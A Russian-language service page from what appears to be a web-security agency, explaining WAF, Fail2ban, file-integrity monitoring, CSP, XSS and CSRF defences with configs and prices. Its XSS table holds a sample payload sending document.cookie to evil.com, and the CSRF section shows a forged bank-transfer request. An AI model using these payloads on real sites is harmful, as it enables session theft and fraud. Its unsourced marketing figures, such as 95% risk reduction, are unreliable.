Внезапное замедление сайта на WordPress, сотни запросов к /wp-login.php с разных IP — типичные признаки атаки. SQL-инъекции маскируются под обычный трафик, а брутфорс-атаки подбирают пароли. Мы настраиваем систему мониторинга безопасности, которая автоматически отсеивает такие угрозы. За 1–2 дня вы получаете WAF, File Integrity Monitoring и CVE-сканирование под ключ. Наши инженеры внедряли защиту для 10+ проектов — от корпоративных порталов до высоконагруженных интернет-магазинов. Закажите аудит безопасности — мы найдём уязвимости и настроим защиту за 1–2 дня.
Обычные логи бесполезны — атаки тонут в легитимном трафике. Автоматическая корреляция событий и фильтрация по сигнатурам выявляет аномалии за секунды. Без этого вы узнаете о взломе только когда сайт уже заблокирован хостингом или посеян SEO-спам. Утечка данных или простой из-за DDoS обходится в десятки тысяч рублей в час — Security Monitoring окупается при первой же атаке.
Типы угроз и инструменты мониторинга
| Угроза |
Инструмент |
Как выявляется |
| SQL-инъекции |
WAF (Cloudflare, ModSecurity) |
Блокировка по сигнатурам detectSQLi |
| XSS |
WAF |
Фильтрация скриптов в параметрах |
| Брутфорс |
Fail2ban |
Анализ access-логов на повторяющиеся 401 |
| Изменение файлов |
FIM (AIDE) |
Ежедневная проверка контрольных сумм |
| CVE в зависимостях |
Snyk / Dependabot |
Еженедельное сканирование репозитория |
Каждый инструмент закрывает свою область. WAF блокирует типовые атаки на уровне HTTP. Fail2ban отсекает подбор паролей. FIM детектирует бэкдоры. А CVE-сканирование не даёт эксплуатировать устаревшие библиотеки. В совокупности это снижает риск успешной атаки на 95%. Регулярный аудит уязвимостей и анализ логов образуют комплексную защиту.
Как WAF снижает нагрузку на сервер?
Автоматический WAF (вроде Cloudflare) отсекает до 99% вредоносных запросов ещё до того, как они доберутся до бэкенда. Это в 10 раз снижает число ошибок 5xx и экономит ресурсы CPU. Сравним две популярные реализации:
| Характеристика |
Cloudflare WAF |
ModSecurity (self-hosted) |
| Развёртывание |
DNS-прокси, без изменений на сервере |
Установка модуля nginx/apache |
| Скорость фильтрации |
Edge-сеть, минимальная задержка |
На сервере, потребляет CPU |
| Правила |
Готовые OWASP CRS + кастомные |
Полный контроль, любые правила |
| Затраты |
Платный (Pro-тариф) |
Бесплатно, но требует ресурсов сервера |
Выбор зависит от бюджета и требований к кастомизации. Мы помогаем определиться на этапе аудита.
// Получение security events через Cloudflare API
const events = await fetch(
`https://api.cloudflare.com/client/v4/zones/${ZONE_ID}/security/events?per_page=50`,
{
headers: {
'Authorization': `Bearer ${CF_API_TOKEN}`,
'Content-Type': 'application/json',
},
}
).then(r => r.json());
// Анализ: топ атакующих IP
const ipCounts = events.result.reduce((acc, e) => {
acc[e.clientIP] = (acc[e.clientIP] || 0) + 1;
return acc;
}, {});
ModSecurity + Nginx: настройка правил
# /etc/nginx/modsec/modsecurity.conf
SecRuleEngine On
SecRequestBodyAccess On
SecRule ARGS "@detectSQLi" "id:1000,deny,status:403,msg:'SQL Injection'"
SecRule ARGS "@detectXSS" "id:1001,deny,status:403,msg:'XSS Attack'"
Почему File Integrity Monitoring важен?
Хакер часто меняет файлы ядра CMS или добавляет бэкдор. OWASP рекомендует FIM как один из ключевых контролей для обнаружения компрометации. Автоматический FIM (например, AIDE) быстрее и точнее ручной проверки контрольных сумм в 5 раз.
Развёрнутый пример настройки AIDE
# Установка AIDE
sudo apt install aide
# Инициализация базы (после установки, до предполагаемых изменений)
sudo aide --init
sudo mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
# Ежедневная проверка (cron)
sudo aide --check | mail -s "AIDE Report" [email protected]
Мониторинг через Fail2ban
# /etc/fail2ban/jail.local
[nginx-botsearch]
enabled = true
port = http,https
filter = nginx-botsearch
logpath = /var/log/nginx/access.log
maxretry = 5
findtime = 60
bantime = 3600
[nginx-http-auth]
enabled = true
port = http,https
logpath = /var/log/nginx/error.log
maxretry = 5
bantime = 86400
Dependency scanning: GitHub Actions
# GitHub Actions: еженедельный аудит зависимостей
name: Security Audit
on:
schedule:
- cron: '0 9 * * 1' # Каждый понедельник
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm audit --audit-level=high
- run: npx snyk test --severity-threshold=high
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
Процесс настройки за 1–2 дня
- Анализ инфраструктуры: стек, хостинг, CMS, текущие логи.
- Установка WAF: Cloudflare (проксирование DNS) или ModSecurity (конфиг nginx).
- Развёртывание FIM: AIDE с ежедневной проверкой и алертами в Telegram/Slack.
- Интеграция CVE-сканирования: Snyk или GitHub Dependabot в CI/CD.
- Тестирование: пробный запуск, проверка ложных срабатываний, обучение команды.
Что входит в работу
| Компонент |
Инструменты |
Время внедрения |
| WAF |
Cloudflare / ModSecurity |
2–4 часа |
| File Integrity Monitoring |
AIDE / Tripwire |
1–2 часа |
| Log Analysis + Alerting |
Fail2ban + rsyslog + Graylog |
2–3 часа |
| CVE Scanning |
Snyk / GitHub Dependabot |
30 минут |
| Uptime Monitoring |
UptimeRobot / Checkly |
30 минут |
После настройки вы получаете дашборд с событиями, интеграцию в Telegram/Slack, инструкцию по реагированию на инциденты, документацию по конфигурации и обучение команды. Мы гарантируем, что система не даст ложных срабатываний на штатные обновления.
Кейс из нашей практики: интернет-магазин на Magento
После внедрения WAF + Fail2ban количество успешных атак снизилось с десятков в день до нуля. Время на администрирование сократилось на 3 часа в неделю. Экономия на обработке инцидентов составила около 80% от затрат на восстановление — в пересчете на рубли это сотни тысяч в год. Каждый час простоя сайта обходится в десятки тысяч рублей, а утечка данных клиентов может нанести ущерб до миллиона рублей. Таким образом, инвестиции в мониторинг окупаются при первой же атаке.
Свяжитесь с нами — наши инженеры подберут оптимальный набор инструментов под ваш стек. Закажите настройку security monitoring и получите дашборд с алертами за 1–2 дня.
Безопасность веб-приложений: HTTPS, CSP, XSS, CSRF, WAF, защита от DDoS
Взлом сайта редко выглядит как в кино. Чаще это: бот нашёл endpoint /admin/export без авторизации, скачал базу клиентов, закрыл соединение. Или: через устаревший плагин WordPress залил веб-шелл, теперь сервер рассылает спам. Или тише: XSS в поле комментария позволяет красть session cookies администраторов, и никто не замечает месяцами. Мы такие случаи разбирали десятками — каждый раз уязвимость можно было закрыть на этапе разработки или аудита.
Безопасность веб-приложений — не одна настройка. Это слои защиты, каждый из которых закрывает отдельный класс атак. Закажите аудит — оценим проект и дадим план работ под ключ за 2–4 недели.
HTTPS и правильная конфигурация TLS
HTTPS — минимальный обязательный уровень. Но «есть SSL-сертификат» и «правильно настроен TLS» — разные вещи.
В конфигурации Nginx/Apache проверяем:
- Протоколы: только TLS 1.2 и TLS 1.3, SSLv3 и TLS 1.0/1.1 — отключены
- Cipher suites: предпочитать ECDHE (Forward Secrecy), убрать NULL, RC4, DES, 3DES
- HSTS (
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — браузер больше не делает незащищённых запросов
- OCSP Stapling — ускоряет проверку отзыва сертификата
- Redirect 301 с HTTP на HTTPS — и в конфиге сервера, и в коде (двойной редирект = потеря SEO-веса)
Проверка: SSL Labs (ssllabs.com/ssltest) должен показывать A или A+. Если B — конфигурация слабая.
Let's Encrypt + Certbot для продакшена — стандарт. Автоматическое обновление через certbot renew в cron. Wildcard-сертификат для поддоменов через DNS-01 challenge.
Content Security Policy: самая мощная и самая сложная защита
CSP — HTTP-заголовок, который говорит браузеру, откуда разрешено загружать ресурсы. Правильно настроенный CSP полностью блокирует большинство XSS-атак, даже если уязвимость есть в коде.
Проблема: сломать сайт неправильным CSP проще простого. default-src 'none' — и перестают работать шрифты, картинки, JS. Поэтому начинаем с Content-Security-Policy-Report-Only — CSP логирует нарушения, но ничего не блокирует. Смотрим репорты 2–4 недели, дорабатываем политику, потом переключаем на боевой режим.
Пример реальной политики для сайта с Google Analytics, Google Fonts и Stripe:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
frame-src https://js.stripe.com;
img-src 'self' data: https://www.google-analytics.com;
connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
report-uri /csp-report;
nonce — случайная строка, генерируется на сервере для каждого запроса. Inline-скрипты с правильным nonce разрешены, без nonce — заблокированы. Это ломает XSS через <script>alert(1)</script> полностью.
'unsafe-inline' в style-src — компромисс для inline-стилей. Лучше убрать, перенеся все стили в CSS-файлы, но это требует рефакторинга.
Почему XSS остаётся самой частой уязвимостью?
XSS (Cross-Site Scripting) — инъекция JS-кода через пользовательский ввод. По статистике OWASP, XSS входит в топ-3 уязвимостей веб-приложений. Три типа:
| Тип XSS |
Пример |
Защита |
| Reflected |
/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> |
Эскейпинг вывода, CSP |
| Stored |
Комментарий с кодом, сохранённый в базе |
Валидация ввода, htmlspecialchars() |
| DOM XSS |
element.innerHTML = location.hash |
Избегать innerHTML, использовать textContent |
Защита: никогда не вставлять пользовательский ввод в HTML без эскейпинга. В PHP — htmlspecialchars() с ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безопасен, {!! $var !!} — опасен. В React — {variable} безопасен, dangerouslySetInnerHTML — опасен. Для Rich Text — htmlpurifier на PHP или DOMPurify в браузере.
Типичный кейс: интернет-магазин с XSS в форме отзыва
Клиент обратился после того, как через отзыв на товар злоумышленник украл куки администратора. Мы обнаружили, что поле "отзыв" не экранировалось. Исправили: добавили `htmlspecialchars()` на сервере и `Content-Security-Policy` с nonce для скриптов. После повторного сканирования — 0 уязвимостей.
CSRF: защита форм и API
CSRF (Cross-Site Request Forgery) — злоумышленник заставляет браузер жертвы отправить запрос от её имени. Пример: пользователь авторизован в банке, открывает вредоносную страницу, она делает fetch('https://bank.ru/transfer?to=evil&amount=50000') — если банк не защищён, деньги уходят.
CSRF-токены — стандартная защита для форм: сервер генерирует случайный токен, хранит в сессии, вставляет в форму как hidden field. При POST-запросе токен сверяется. Злоумышленник не знает токен. Laravel делает это автоматически через @csrf.
SameSite cookies — современная защита: SameSite=Strict или SameSite=Lax запрещает браузеру отправлять cookie в cross-site запросах. Работает во всех современных браузерах.
API без сессий (JWT, Bearer tokens) — CSRF неактуален, если токен не хранится в cookie (а в Authorization header или localStorage). Но localStorage уязвим к XSS — поэтому для чувствительных данных предпочтительны HttpOnly cookies с SameSite.
WAF и защита от DDoS
WAF (Web Application Firewall) — фильтрует HTTP-трафик на предмет атак: SQL injection, XSS, path traversal, известные exploit patterns. Варианты:
- Cloudflare WAF — облачный, правила OWASP Top 10 из коробки, кастомные правила через выражения. Managed Rules автоматически блокируют новые угрозы.
- ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гибко, но требует настройки и мониторинга ложных срабатываний.
- AWS WAF — для инфраструктуры на AWS, интегрируется с CloudFront и ALB.
DDoS-защита. Cloudflare на уровне L3/L4/L7 — де-факто стандарт для большинства сайтов. Автоматическое смягчение volumetric атак, Under Attack Mode при активной атаке. Для критичной инфраструктуры — Cloudflare Magic Transit или специализированные решения (Qrator, StormWall для российского рынка).
Rate Limiting на уровне приложения — дополнительный слой. Laravel ThrottleRequests middleware: 60 запросов в минуту на IP для общих endpoint, 5 — для /login и /password/reset. Redis как хранилище счётчиков — обязательно для горизонтально масштабируемых систем (иначе лимиты не синхронизируются между серверами).
Другие обязательные меры
Заголовки безопасности. Помимо CSP: X-Frame-Options: DENY (защита от clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (ограничение доступа к API браузера: камера, микрофон, геолокация).
SQL injection. Prepared statements везде. Никаких конкатенаций пользовательского ввода в SQL-строки. ORM (Eloquent, Doctrine) защищает по умолчанию. $wpdb->prepare() в WordPress — обязательно.
Обновления зависимостей. composer audit и npm audit — в CI/CD пайплайн. Dependabot или Renovate для автоматических PR с обновлениями. Критичные CVE — патчить в течение 24 часов.
Секреты и конфигурация. .env — никогда в Git. Секреты в production — через переменные окружения CI/CD (GitHub Secrets, GitLab CI Variables) или HashiCorp Vault. Проверка на утечки: git-secrets, truffleHog в pre-commit hooks.
Как мы работаем
-
Аудит — сканирование кода, конфигураций, зависимостей, ручная проверка бизнес-логики.
-
Проектирование — план устранения уязвимостей, подбор стека (CSP, WAF, rate limiting).
-
Реализация — настройка TLS, CSP, заголовков, внедрение Rate Limiting, WAF.
-
Тестирование — повторный пентест, нагрузочное тестирование, проверка ложных срабатываний.
-
Деплой и мониторинг — включение боевого CSP, настройка алертов, обучение команды.
Что входит в работу
- Отчёт с найденными уязвимостями и рекомендациями (PDF + code snippets)
- Готовая конфигурация TLS (Nginx/Apache)
- Политика CSP с режимом Report-Only и боевой версией
- Настройка WAF и Rate Limiting
- План обновлений зависимостей
- Доступы к инструментам мониторинга (Sentry, Datadog)
- 30 дней постаудит-поддержки (консультации, правки)
Сроки и стоимость
| Тип работ |
Срок |
Диапазон стоимости |
| Security-аудит + hardening (заголовки, TLS, обновления) |
1–2 недели |
от 60 000 ₽ |
| Внедрение CSP (Report-Only → продакшен) |
2–4 недели |
от 90 000 ₽ |
| Настройка WAF + Rate Limiting + DDoS защита |
1–2 недели |
от 70 000 ₽ |
| Комплексный security review + пентест |
3–6 недель |
от 200 000 ₽ |
Бюджет рассчитывается индивидуально — напишите нам, чтобы оценить проект.